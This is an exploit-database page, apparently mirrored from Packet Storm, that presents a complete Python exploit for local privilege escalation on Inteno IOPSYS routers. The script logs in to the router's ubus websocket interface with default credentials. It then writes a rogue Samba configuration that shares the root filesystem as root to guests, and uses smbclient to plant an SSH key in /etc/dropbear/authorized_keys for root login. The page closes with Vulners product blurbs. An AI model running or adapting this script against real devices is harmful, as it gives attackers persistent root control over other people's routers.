Lucene search
+L

Inteno's IOPSYS Local Privilege Escalation

🗓️ 25 Jul 2018 00:00:00Reported by neonseaType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 34 Views

Inteno's IOPSYS Local Privilege Escalation. Python script for exploiting a vulnerability to escalate privileges

Code
`#!/usr/bin/python  
  
import json  
import sys  
import subprocess  
import socket  
import os  
from websocket import create_connection  
  
def ubusAuth(host, username, password):  
ws = create_connection("ws://" + host, header = ["Sec-WebSocket-Protocol: ubus-json"])  
req = json.dumps({"jsonrpc":"2.0","method":"call",  
"params":["00000000000000000000000000000000","session","login",  
{"username": username,"password":password}],  
"id":666})  
ws.send(req)  
response = json.loads(ws.recv())  
ws.close()  
try:  
key = response.get('result')[1].get('ubus_rpc_session')  
except IndexError:  
return(None)  
return(key)  
  
def ubusCall(host, key, namespace, argument, params={}):  
ws = create_connection("ws://" + host, header = ["Sec-WebSocket-Protocol: ubus-json"])  
req = json.dumps({"jsonrpc":"2.0","method":"call",  
"params":[key,namespace,argument,params],  
"id":666})  
ws.send(req)  
response = json.loads(ws.recv())  
ws.close()  
try:  
result = response.get('result')[1]  
except IndexError:  
if response.get('result')[0] == 0:  
return(True)  
return(None)  
return(result)  
  
if __name__ == "__main__":  
host = "192.168.1.1"  
sshkey = "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAkQMU/2HyXNEJ8gZbkxrvLnpSZ4Xz+Wf3QhxXdQ5blDI5IvDkoS4jHoi5XKYHevz8YiaX8UYC7cOBrJ1udp/YcuC4GWVV5TET449OsHBD64tgOSV+3s5r/AJrT8zefJbdc13Fx/Bnk+bovwNS2OTkT/IqYgy9n+fKKkSCjQVMdTTrRZQC0RpZ/JGsv2SeDf/iHRa71keIEpO69VZqPjPVFQfj1QWOHdbTRQwbv0MJm5rt8WTKtS4XxlotF+E6Wip1hbB/e+y64GJEUzOjT6BGooMu/FELCvIs2Nhp25ziRrfaLKQY1XzXWaLo4aPvVq05GStHmTxb+r+WiXvaRv1cbQ=="  
user = "user"  
pasw = "user"  
conf = """[global]  
netbios name = IntenoSMB   
workgroup = IntenoSMB  
server string = IntenoSMB  
syslog = 10  
encrypt passwords = true  
passdb backend = smbpasswd  
obey pam restrictions = yes  
socket options = TCP_NODELAY  
unix charset = UTF-8  
preferred master = yes  
os level = 20  
security = user  
guest account = root  
smb passwd file = /etc/samba/smbpasswd  
interfaces = 192.168.1.1/24 br-lan   
bind interfaces only = yes  
wide links = no  
  
[pwn]  
path = /  
read only = no  
guest ok = yes  
create mask = 0700  
directory mask = 0700  
force user = root  
"""  
  
print("Authenticating...")  
key = ubusAuth(host, user, pasw)  
if (not key):  
print("Auth failed!")  
sys.exit(1)  
print("Got key: %s" % key)  
  
print("Dropping evil Samba config...")  
ltc = ubusCall(host, key, "file", "write_tmp",  
{"path":"/tmp/etc/smb.conf", "data": conf})  
if (not ltc):  
print("Failed to write evil config!")  
sys.exit(1)  
  
print("Creating temp file for key...")  
with open(".key.tmp","a+") as file:  
file.write(sshkey)  
path = os.path.realpath(file.name)  
  
print("Dropping key...")  
subprocess.run("smbclient {0}pwn -U% -c 'put {1} /etc/dropbear/authorized_keys'".format(r"\\\\" + host + r"\\", path),  
shell=True, check=True)  
print("Key dropped")  
  
print("Cleaning up...")  
os.remove(path)  
  
print("Exploitation complete. Try \"ssh root@%s\"" % host)  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

25 Jul 2018 00:00Current
1Low risk
Vulners AI Score1
34